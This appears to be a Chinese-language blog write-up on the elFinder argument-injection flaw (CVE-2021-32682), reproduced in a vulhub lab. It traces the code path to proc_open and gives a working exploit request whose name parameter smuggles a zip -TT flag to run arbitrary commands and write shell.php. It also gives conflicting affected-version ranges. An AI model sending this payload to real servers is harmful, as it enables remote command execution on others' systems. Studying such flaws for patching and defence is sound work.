漏洞介绍

elFinder是一个基于PHP、Jquery的开源文件管理系统。

在elFinder 2.1.48及以前的版本中,存在一处参数注入漏洞。攻击者可以利用这个漏洞在目标服务器上执行任意命令,即使是最小化安装的elFinder。

这个漏洞的原因除了参数注入外,还有默认情况下的未授权访问,因此我们可以对elFinder增加权限校验,避免任意用户操作服务器上的文件,进而避免被执行任意命令。当然,升级版本到2.1.49及以上也是必要的。

漏洞范围

elFinder <= 2.1.58

漏洞靶场

使用vulhub的靶场

使用版本为elFinder 2.1.58

vulhub-master/elFinder/CVE-2021-32682

1
docker-compose up -d

服务启动后,访问http://your-ip:8080即可查看到elFinder的文件管理页面。

漏洞原理

得知是通过存档功能,传递name参数造成命令注入,然后进行抓包

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/511ee04e-a66e-db36-990d-be771e9102c1.png

可以看出是在connector.minimal.php文件中进行操作

connector.minimal.php文件中发现,包含文件autoload.php

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/ee72929f-610d-0350-5a05-a93053d93c0e.png

php/connector.minimal.php-dist#L37

autoload.php中,不确定在那个文件,不过通过名字大概率可以在elFinderVolumeLocalFileSystem.class.phpelFinder.class.php中可以找到

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/54afde8b-1628-7bbd-70db-48fb0f27f9da.png

php/autoload.php#L5-L49

先进入elFinderVolumeLocalFileSystem.class.php中,通过抓包得知cmd=archive,可能有archive函数

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/29f3c9ef-b478-2a5c-eeff-7806e107be90.png

php/elFinderVolumeLocalFileSystem.class.php#L1248-L1251

发现果然有,跟进makeArchive函数

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e4c4ead3-7f5c-e1aa-7a42-0ed8fff0ba76.png

php/elFinderVolumeDriver.class.php#L6859-L6883

可以看出参数确实是传到makeArchive,但是不是通过_archive传进来的 接下来在elFinder.class.php中尝试

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/803149e1-031e-11b7-672b-c9129ad16d80.png

php/elFinderVolumeDriver.class.php#L3829-L3845

先对name参数进行isset判断,然后传入archive函数中,继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/fc9a8b56-cce6-ee22-3804-9e723fb0f183.png

php/elFinderVolumeDriver.class.php#L2914-L2968

$name先进行了正则转换后进行了字符串替换,然后先传入到uniqueName中,后传入到remoteArchive中,先跟进到uniqueName

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/ad60937c-ff82-9837-d684-19a534faa157.png

php/elFinderVolumeDriver.class.php#L4037-L4077

可以看出是对$name进行了一些转换替换,最后返回$name值 接下来返回上一步,跟进到remoteArchive

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/c40740de-e656-c463-496c-5bd162f8bf91.png

php/elFinderVolumeDriver.class.php#L2980-L3004

看见参数传入到makeArchive函数中,继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e4c4ead3-7f5c-e1aa-7a42-0ed8fff0ba76.png

php/elFinderVolumeDriver.class.php#L6859-L6883

到这里参数通过escapeshellarg()进行转义,然后拼接其它参数赋值给$cmd,然后进入到procExec函数中

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/0f47cf57-f334-bc06-efb1-5390cbc63ac0.png

php/elFinder.class.php#L5120-L5196

可以看见$cmd被作为参数,放入到proc_open中执行命令 proc_open命令详解如下:

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/21be8c43-0a2c-0bf2-ab24-ef4fc8f5f81a.png

自此整个流程分析完成,虽然中间对参数进行了正则和替换的过滤操作,但是因为程序会将name参数值解析为标志(--foo=bar),可以通过zip-TT指定要运行的测试命令,如:-TmTT="$(id>out.txt)foooo" 通过测试得到,参数在传入到proc_open中执行命令前,其值为"zip -r9 -q 'a1.zip' './a.zip'",所以我们可以构造成以下命令"zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.txt'",执行id命令并将结果输出到out.txt

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/7b168d71-16fc-c643-664b-4b517f6da67c.png

漏洞复现

复现这个漏洞首先需要用elFinder提供的功能,创建两个文件。

先创建一个普通的文本文件1.txt

img

然后右键这个文件,对其进行打包,打包后的文件命名为2.zip

img

最后我们获得1.txt2.zip两个文件:

img

然后,发送如下数据包来执行任意命令:

1
2
3
4
5
6
7
8
9
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

image-20250508195800847

这个数据包中,你可以看到三个重要的参数:

  • name, 值为-TvTT=id>shell.php # a.zip,你可以修改id>shell.php为任意你想执行的命令
  • targets[0], 值为l1_MS50eHQl1意思是第一个文件系统(默认值,不用修改),MS50eHQ1.txt的base64编码
  • targets[1], 值为l1_Mi56aXAl1意思是第一个文件系统(默认值,不用修改),Mi56aXA2.zip的base64编码

虽然这个数据包发送后会返回错误信息,但实际上其中指定的命令已经被成功执行,可以访问http://your-ip:8080/files/shell.php查看执行的结果:

image-20250508200229972

参考

CVE-2021-32682 elFinder RCE 简单分析 - Da22le的博客

CVE-2021-32682 elFinder ZIP 参数与任意命令注入漏洞复现-CSDN博客

https://github.com/vulhub/vulhub/blob/master/elfinder/CVE-2021-32682/README.zh-cn.md